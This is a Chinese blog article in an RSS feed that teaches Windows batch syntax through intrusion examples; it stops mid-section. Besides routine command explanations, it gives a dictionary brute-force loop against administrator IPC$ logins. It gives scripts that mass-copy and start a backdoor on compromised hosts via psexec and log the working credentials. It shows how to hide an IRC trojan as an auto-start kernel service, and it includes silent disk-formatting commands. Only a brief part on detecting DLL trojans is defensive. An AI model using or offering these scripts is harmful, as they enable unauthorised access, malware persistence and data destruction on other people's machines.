﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-JAVA牛棚-文章分类-基础知识区</title><link>http://www.blogjava.net/chinajox/category/4114.html</link><description>我们爱JAVA</description><language>zh-cn</language><lastBuildDate>Tue, 27 Feb 2007 15:15:02 GMT</lastBuildDate><pubDate>Tue, 27 Feb 2007 15:15:02 GMT</pubDate><ttl>60</ttl><item><title>Window系统中批处理程序的语法</title><link>http://www.blogjava.net/chinajox/articles/16965.html</link><dc:creator>JAVA牛棚</dc:creator><author>JAVA牛棚</author><pubDate>Thu, 27 Oct 2005 01:57:00 GMT</pubDate><guid>http://www.blogjava.net/chinajox/articles/16965.html</guid><wfw:comment>http://www.blogjava.net/chinajox/comments/16965.html</wfw:comment><comments>http://www.blogjava.net/chinajox/articles/16965.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/chinajox/comments/commentRss/16965.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/chinajox/services/trackbacks/16965.html</trackback:ping><description><![CDATA[&nbsp;批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件（也被称为批处理程序或脚本），可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用，例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。 
<P>一.简单批处理内部命令简介 </P>
<P>　　1.Echo 命令 </P>
<P>　　打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。 </P>
<P>　　语法 <BR>　　echo [{on　off}] [message] <BR>　　Sample：@echo off / echo hello world </P>
<P>　　在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用&gt; &gt;&gt; ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。 </P>
<P>　　2.@ 命令 </P>
<P>　　表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。 </P>
<P>　　Sample：@echo off <BR>　　@echo Now initializing the program,please wait a minite... <BR>　　@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。) </P>
<P>　　3.Goto 命令 </P>
<P>　　指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。 </P>
<P>　　语法：goto label （label是参数，指定所要转向的批处理程序中的行。） <BR>　　Sample： <BR>　　if {%1}=={} goto noparms <BR>　　if {%2}=={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。） <BR></P>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 5px; BACKGROUND: #f3f3f3; PADDING-BOTTOM: 5px; MARGIN: 5px 20px; BORDER-LEFT: #cccccc 1px solid; PADDING-TOP: 5px; BORDER-BOTTOM: #cccccc 1px solid">　　@Rem check parameters if null show usage <BR>　　:noparms <BR>　　echo Usage: monitor.bat ServerIP PortNumber <BR>　　goto end <BR></DIV>
<P>　　标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 </P>
<P>　　4.Rem 命令 </P>
<P>　　注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。 </P>
<P>&nbsp;&nbsp; 　Rem Message <BR>　　Sample：@Rem Here is the description. </P>
<P>　　5.Pause 命令 </P>
<P>　　运行 Pause 命令时，将显示下面的消息： </P>
<P>　　Press any key to continue . . . </P>
<P>　　Sample： <BR></P>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 5px; BACKGROUND: #f3f3f3; PADDING-BOTTOM: 5px; MARGIN: 5px 20px; BORDER-LEFT: #cccccc 1px solid; PADDING-TOP: 5px; BORDER-BOTTOM: #cccccc 1px solid">　　@echo off <BR>　　:begin <BR>　　copy a:*.* d：\back <BR>　　echo Please put a new disk into driver A <BR>　　pause <BR>　　goto begin </DIV>
<P>　　在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。</P>
<P>　　6.Call 命令 </P>
<P>　　从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。 </P>
<P>　　语法 </P>
<P>　　call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] </P>
<P>　　参数 </P>
<P>　　[Drive:}[Path] FileName </P>
<P>　　指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。 </P>
<P>　　7.start 命令 </P>
<P>　　调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。 </P>
<P>　　入侵常用参数： <BR>&nbsp;&nbsp; 　MIN 开始时窗口最小化 <BR>　　SEPARATE 在分开的空间内开始 16 位 Windows 程序 <BR>　　HIGH 在 HIGH 优先级类别开始应用程序 <BR>　　REALTIME 在 REALTIME 优先级类别开始应用程序 <BR>　　WAIT 启动应用程序并等候它结束 </P>
<P>　　parameters 这些为传送到命令/程序的参数 </P>
<P>　　执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。 </P>
<P>　　8.choice 命令 </P>
<P>　　choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234…… </P>
<P>　　如: choice /c:dme defrag,mem,end </P>
<P>　　将显示 </P>
<P>　　defrag,mem,end[D,M,E]? </P>
<P>　　Sample： </P>
<P>　　Sample.bat的内容如下: </P>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 5px; BACKGROUND: #f3f3f3; PADDING-BOTTOM: 5px; MARGIN: 5px 20px; BORDER-LEFT: #cccccc 1px solid; PADDING-TOP: 5px; BORDER-BOTTOM: #cccccc 1px solid">
<P>　　@echo off <BR>　&nbsp;&nbsp; choice /c:dme defrag,mem,end <BR>　　if errorlevel 3 goto defrag （应先判断数值最高的错误码） <BR>　　if errorlevel 2 goto mem <BR>　　if errotlevel 1 goto end <BR>　　:defrag <BR>　　c:\dos\defrag <BR>　　goto end <BR>　　:mem <BR>　　mem <BR>　　goto end <BR>　　:end <BR>　　echo good bye </P></DIV>
<P>　　此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。 </P>
<P>　　9.If 命令 </P>
<P>　　if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式: </P>
<P>　　1、if "参数" == "字符串" 　待执行的命令 </P>
<P>　　参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号） </P>
<P>　　如if "%1"=="a" format a: </P>
<P>　　if {%1}=={} goto noparms </P>
<P>　　if {%2}=={} goto noparms </P>
<P>　　2、if exist 文件名　 待执行的命令 </P>
<P>　　如果有指定的文件，则条件成立，运行命令，否则运行下一句。 </P>
<P>　　如if exist config.sys edit config.sys </P>
<P>　　3、if errorlevel / if not errorlevel 数字　 待执行的命令 </P>
<P>　　如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。 </P>
<P>　　如if errorlevel 2 goto x2 　 </P>
<P>　　DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。 </P>
<P>　　10.for 命令 </P>
<P>　　for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。 <BR>　　在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable <BR>　　for {%variable　%%variable} in (set) do command [ CommandLineOptions] <BR>　　%variable 指定一个单一字母可替换的参数。 <BR>　　(set) 指定一个或一组文件。可以使用通配符。 <BR>　　command 指定对每个文件执行的命令。 <BR>　　command-parameters 为特定命令指定参数或命令行开关。 <BR>　　在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable <BR>　　而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I <BR>　　如果命令扩展名被启用，下列额外的 FOR 命令格式会受到 <BR>　　支持: </P>
<P>　　FOR /D %variable IN (set) DO command [command-parameters] </P>
<P>　　如果集中包含通配符，则指定与目录名匹配，而不与文件名匹配。 </P>
<P>　　FOR /R [[drive:]path] %variable IN (set) DO command [command- </P>
<P>　　检查以 [drive:]path 为根的目录树，指向每个目录中的FOR 语句。如果在 /R 后没有指定目录，则使用当前目录。如果集仅为一个单点(.)字符，则枚举该目录树。 </P>
<P>　　FOR /L %variable IN (start,step,end) DO command [command-para </P>
<P>　　该集表示以增量形式从开始到结束的一个数字序列。 </P>
<P>　　因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生 </P>
<P>　　序列 (5 4 3 2 1)。 </P>
<P>　　FOR /F ["options"] %variable IN (file-set) DO command </P>
<P>　　FOR /F ["options"] %variable IN ("string") DO command </P>
<P>　　FOR /F ["options"] %variable IN (command) DO command </P>
<P>　　或者，如果有 usebackq 选项: </P>
<P>　　FOR /F ["options"] %variable IN (file-set) DO command </P>
<P>　　FOR /F ["options"] %variable IN ("string") DO command </P>
<P>　　FOR /F ["options"] %variable IN (command) DO command </P>
<P>　　filenameset 为一个或多个文件名。继续到 filenameset 中的 </P>
<P>　　下一个文件之前，每份文件都已被打开、读取并经过处理。 </P>
<P>　　处理包括读取文件，将其分成一行行的文字，然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为: </P>
<P>　　eol=c - 指一个行注释字符的结尾(就一个) </P>
<P>　　skip=n - 指在文件开始时忽略的行数。 </P>
<P>　　delims=xxx - 指分隔符集。这个替换了空格和跳格键的 </P>
<P>　　默认分隔符集。 </P>
<P>　　tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号，那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。 </P>
<P>　　usebackq - 指定新语法已在下类情况中使用: </P>
<P>　　在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。 </P>
<P>　　sample1: </P>
<P>　　FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command </P>
<P>　　会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或空格定界符号。请注意，这个 for 程序体的语句引用 %i 来取得第二个符号，引用 %j 来取得第三个符号，引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名，您需要用双引号将文件名括起来。为了用这种方式来使用双引号，您还需要使用 usebackq 选项，否则，双引号会被理解成是用作定义某个要分析的字符串的。 </P>
<P>　　%i 专门在 for 语句中得到说明，%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号，只要不试图说明一个高于字母 z 或Z 的变量。请记住，FOR 变量是单一字母、分大小写和全局的同时不能有 52 个以上都在使用中。 </P>
<P>　　您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，用单引号将括号之间的 filenameset 括起来。这样，该字符串会被当作一个文件中的一个单一输入行。 </P>
<P>　　最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进内存，并被当作文件分析。因此，以下例子: </P>
<P>　　FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i </P>
<P>　　会枚举当前环境中的环境变量名称。 </P>
<P>　　另外，FOR 变量参照的替换已被增强。您现在可以使用下列 </P>
<P>　　选项语法: </P>
<P>　　~I - 删除任何引号(")，扩充 %I </P>
<P>　　%~fI - 将 %I 扩充到一个完全合格的路径名 </P>
<P>　　%~dI - 仅将 %I 扩充到一个驱动器号 </P>
<P>　　%~pI - 仅将 %I 扩充到一个路径 </P>
<P>　　%~nI - 仅将 %I 扩充到一个文件名 </P>
<P>　　%~xI - 仅将 %I 扩充到一个文件扩展名 </P>
<P>　　%~sI - 扩充的路径只含有短名 </P>
<P>　　%~aI - 将 %I 扩充到文件的文件属性 </P>
<P>　　%~tI - 将 %I 扩充到文件的日期/时间 </P>
<P>　　%~zI - 将 %I 扩充到文件的大小 </P>
<P>　　%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义，或者没有找到文件，此组合键会扩充空字符串 </P>
<P>　　可以组合修饰符来得到多重结果: </P>
<P>　　%~dpI - 仅将 %I 扩充到一个驱动器号和路径 </P>
<P>　　%~nxI - 仅将 %I 扩充到一个文件名和扩展名 </P>
<P>　　%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名 </P>
<P>　　%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个驱动器号和路径。 </P>
<P>　　%~ftzaI - 将 %I 扩充到类似输出线路的 DIR </P>
<P>　　在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法 </P>
<P>　　用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读，而且避免与不分大小写的组合键混淆。 </P>
<P>　　以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。 </P>
<P>　　sample2： </P>
<P>　　利用For命令来实现对一台目标Win2k主机的暴力密码破解。 </P>
<P>　　我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下密码。 </P>
<P>　　最主要的命令是一条：for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator" </P>
<P>　　用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令－－ </P>
<P>　　for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"　find ":命令成功完成"&gt;&gt;D:\ok.txt ，这样就ko了。 </P>
<P>　　sample3： </P>
<P>　　你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。 </P>
<P>　　主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable） </P>
<P>　　@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k </P>
<P>　　tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。 </P>
<P>　　而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。 </P>
<P>　　delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。 </P>
<P>　　代码雏形： </P>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 5px; BACKGROUND: #f3f3f3; PADDING-BOTTOM: 5px; MARGIN: 5px 20px; BORDER-LEFT: #cccccc 1px solid; PADDING-TOP: 5px; BORDER-BOTTOM: #cccccc 1px solid">
<P>　　------- cut here then save as a batchfile(I call it main.bat ) ------------------- <BR>　　@echo off <BR>　　@if "%1"=="" goto usage <BR>　　@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k <BR>　　@goto end <BR>　　:usage <BR>　　@echo run this batch in dos modle.or just double-click it. <BR>&nbsp; 　:end <BR>　　---- cut here then save as a batchfile(I call it main.bat ) -----</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -----cut here then save as a batchfile(I call it door.bat) ----- <BR>　　@net use \\%1\ipc$ %3 /u:"%2" <BR>　　@if errorlevel 1 goto failed <BR>　　@echo Trying to establish the IPC$ connection …………OK <BR>　　@copy windrv32.exe\\%1\admin$\system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PWD %3 &gt;&gt;ko.txt <BR>　　@psexec <A href="file://%251/">\\%1</A> c:\winnt\system32\windrv32.exe <BR>　　@psexec <A href="file://%251/">\\%1</A> net start windrv32 &amp;&amp; if not errorlevel 1 echo %1 Backdoored &gt;&gt;ko.txt <BR>　　:failed <BR>　　@echo Sorry can not connected to the victim. <BR>　　----- cut here then save as a batchfile(I call it door.bat) ------ </P></DIV>
<P>　　这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一目录下.批处理内容 </P>
<P>　　尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究. </P>
<P><BR>　　二.如何在批处理文件中使用参数 </P>
<P>　　批处理中可以使用参数，一般从1%到 9%这九个，当有多个参数时需要用shift来移动，这种情况并不多见，我们就不考虑它了。 </P>
<P>　　sample1：fomat.bat </P>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 5px; BACKGROUND: #f3f3f3; PADDING-BOTTOM: 5px; MARGIN: 5px 20px; BORDER-LEFT: #cccccc 1px solid; PADDING-TOP: 5px; BORDER-BOTTOM: #cccccc 1px solid">
<P>&nbsp; 　@echo off </P>
<P>　　if "%1"=="a" format a: </P>
<P>　　:format </P>
<P>　　@format a:/q/u/auotset </P>
<P>　　@echo please insert another disk to driver A. </P>
<P>　　@pause </P>
<P>　　@goto fomat </P></DIV>
<P><BR>　　这个例子用于连续地格式化几张软盘，所以用的时候需在dos窗口输入fomat.bat a，呵呵,好像有点画蛇添足了～^_^ </P>
<P>　　sample2： </P>
<P>　　当我们要建立一个IPC$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令写入一个批处理，把肉鸡地ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令了。 </P>
<P>&nbsp;</P>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 5px; BACKGROUND: #f3f3f3; PADDING-BOTTOM: 5px; MARGIN: 5px 20px; BORDER-LEFT: #cccccc 1px solid; PADDING-TOP: 5px; BORDER-BOTTOM: #cccccc 1px solid">
<P>　　@echo off </P>
<P>　　@net use <A href="file://1%25/ipc$">\\1%\ipc$</A> "2%" /u:"3%" 注意哦，这里PASSWORD是第二个参数。 </P>
<P>　　@if errorlevel 1 echo connection failed </P></DIV>
<P><BR>　　怎么样,使用参数还是比较简单的吧？你这么帅一定学会了^_^.No.3 </P>
<P>　　三.如何使用组合命令(Compound Command) </P>
<P>　　1.&amp; </P>
<P>　　Usage：第一条命令 &amp; 第二条命令 [&amp; 第三条命令...] </P>
<P>　　用这种方法可以同时执行多条命令，而不管命令是否执行成功 </P>
<P>　　Sample： </P>
<P>　　C:\&gt;dir z: &amp; dir c:\Ex4rch </P>
<P>　　The system cannot find the path specified. </P>
<P>　　Volume in drive C has no label. </P>
<P>　　Volume Serial Number is 0078-59FB </P>
<P>　　Directory of c:\Ex4rch </P>
<P>　　2002-05-14 23:51 </P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2002-05-14 23:51 .. </P>
<P>　　2002-05-14 23:51 </P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 14 sometips.gif </P>
<P><BR>3.　Usage：第一条命令 　　 第二条命令 [　　 第三条命令...] </P>
<P>　　用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令； </P>
<P>　　Sample： </P>
<P>　　C:\Ex4rch&gt;dir sometips.gif 　　 del sometips.gif </P>
<P>　　Volume in drive C has no label. </P>
<P>　　Volume Serial Number is 0078-59FB </P>
<P>　　Directory of C:\Ex4rch </P>
<P>　　2002-05-14 23:55 14 sometips.gif </P>
<P>　　1 File(s) 14 bytes </P>
<P>　　0 Dir(s) 768,696,320 bytes free </P>
<P>　　组合命令使用的例子： </P>
<P>　　sample： </P>
<P>　　@copy trojan.exe \\%1\admin$\system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PASS %3 &gt;&gt;victim.txt </P>
<P>　　四、管道命令的使用 </P>
<P>　　1.　 命令 </P>
<P>　　Usage：第一条命令 　 第二条命令 [　 第三条命令...] </P>
<P>　　将第一条命令的结果作为第二条命令的参数来使用，记得在unix中这种方式很常见。 </P>
<P>　　sample： </P>
<P>　　time /t&gt;&gt;D:\IP.log </P>
<P>　　netstat -n -p tcp　find ":3389"&gt;&gt;D:\IP.log </P>
<P>　　start Explorer </P>
<P>　　看出来了么？用于终端服务允许我们为用户自定义起始的程序，来实现让用户运行下面这个bat，以获得登录用户的IP。 </P>
<P>　　2.&gt;、&gt;&gt;输出重定向命令 </P>
<P>　　将一条命令或某个程序输出结果的重定向到特定文件中, &gt; 与 &gt;&gt;的区别在于，&gt;会清除调原有文件中的内容后写入指定文件，而&gt;&gt;只会追加内容到指定文件中，而不会改动其中的内容。 </P>
<P>　　sample1： </P>
<P>　　echo hello world&gt;c:\hello.txt (stupid example?) </P>
<P>　　sample2: </P>
<P>　　时下DLL木马盛行，我们知道system32是个捉迷藏的好地方，许多木马都削尖了脑袋往那里钻，DLL马也不例外，针对这一点我们可以在安装好系统和必要的应用程序后，对该目录下的EXE和DLL文件作一个记录： </P>
<P>　　运行CMD--转换目录到system32--dir *.exe&gt;exeback.txt &amp; dir *.dll&gt;dllback.txt, </P>
<P>　　这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中, </P>
<P>　　日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了. </P>
<P>　　这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行: </P>
<P>　　CMD--fc exeback.txt exeback1.txt&gt;diff.txt &amp; fc dllback.txt dllback1.txt&gt;diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好，如果有的话也不要直接DEL掉，先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里，若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。 </P>
<P>3.&lt; 、&gt;&amp; 、&lt;&amp; </P>
<P>　　&lt; 从文件中而不是从键盘中读入命令输入。 </P>
<P>　　&gt;&amp; 将一个句柄的输出写入到另一个句柄的输入中。 </P>
<P>　　&lt;&amp; 从一个句柄读取输入并将其写入到另一个句柄输出中。 </P>
<P>　　这些并不常用，也就不多做介绍。 </P>
<P>　　No.5 </P>
<P>五.如何用批处理文件来操作注册表 </P>
<P>　　在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性，这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件) </P>
<P>　　关于注册表的操作，常见的是创建、修改、删除。 </P>
<P>　　1.创建 </P>
<P>　　创建分为两种，一种是创建子项(Subkey) </P>
<P>　　我们创建一个文件，内容如下： </P>
<P>　　Windows Registry Editor Version 5.00 </P>
<P>　　[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker] </P>
<P>　　然后执行该脚本，你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为“hacker”的子项。 </P>
<P>　　另一种是创建一个项目名称 </P>
<P>　　那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下： </P>
<P>　　Windows Registry Editor Version 5.00 </P>
<P>　　[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"Invader"="Ex4rch" </P>
<P>　　"Door"=C:\\WINNT\\system32\\door.exe </P>
<P>　　"Autodos"=dword:02 </P>
<P>　　这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下 </P>
<P>　　新建了:Invader、door、about这三个项目 </P>
<P>　　Invader的类型是“String Value” </P>
<P>　　door的类型是“REG SZ Value” </P>
<P>　　Autodos的类型是“DWORD Value” <BR>　　2.修改 </P>
<P>　　修改相对来说比较简单，只要把你需要修改的项目导出，然后用记事本进行修改，然后导入（regedit /s）即可。 </P>
<P>　　3.删除 </P>
<P>　　我们首先来说说删除一个项目名称，我们创建一个如下的文件： </P>
<P>　　Windows Registry Editor Version 5.00 </P>
<P>　　[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] </P>
<P>　　"Ex4rch"=- </P>
<P>　　执行该脚本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了； </P>
<P>　　我们再看看删除一个子项，我们创建一个如下的脚本： </P>
<P>　　Windows Registry Editor Version 5.00 </P>
<P>　　[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] </P>
<P>　　执行该脚本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。 </P>
<P>　　相信看到这里，.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了，记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。</P>
<P>samlpe1:如上面的那个例子,如想生成如下注册表文件 </P>
<P>　　Windows Registry Editor Version 5.00 </P>
<P>　　[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] </P>
<P>　　"Invader"="Ex4rch" </P>
<P>　　"door"=hex:255 </P>
<P>　　"Autodos"=dword:000000128 </P>
<P>　　只需要这样： </P>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 5px; BACKGROUND: #f3f3f3; PADDING-BOTTOM: 5px; MARGIN: 5px 20px; BORDER-LEFT: #cccccc 1px solid; PADDING-TOP: 5px; BORDER-BOTTOM: #cccccc 1px solid">
<P>　　@echo Windows Registry Editor Version 5.00&gt;&gt;Sample.reg </P>
<P>　　@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]&gt;Sample.reg </P>
<P>　　@echo "Invader"="Ex4rch"&gt;&gt;Sample.reg </P>
<P>　　@echo "door"=5&gt;&gt;C:\\WINNT\\system32\\door.exe&gt;&gt;Sample.reg </P>
<P>　　@echo "Autodos"=dword:02&gt;&gt;Sample.reg </P></DIV>
<P>　　samlpe2: </P>
<P>　　我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe) </P>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 5px; BACKGROUND: #f3f3f3; PADDING-BOTTOM: 5px; MARGIN: 5px 20px; BORDER-LEFT: #cccccc 1px solid; PADDING-TOP: 5px; BORDER-BOTTOM: #cccccc 1px solid">
<P>　　@start windrv32.exe </P>
<P>　　@attrib +h +r windrv32.exe </P>
<P>　　@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] &gt;&gt;patch.dll </P>
<P>　　@echo "windsnx "=- &gt;&gt;patch.dll </P>
<P>　　@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe </P>
<P>　　@regedit /s patch.dll </P>
<P>　　@delete patch.dll </P>
<P>　　@REM [删除DSNXDE在注册表中的启动项，用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读，并config为自启动] </P>
<P>　　@REM 这样不是更安全^_^. </P></DIV>
<P>　　六.精彩实例放送。 </P>
<P>　　1.删除win2k/xp系统默认共享的批处理 </P>
<P>　　----- cut here then save as .bat or .cmd file --------- </P>
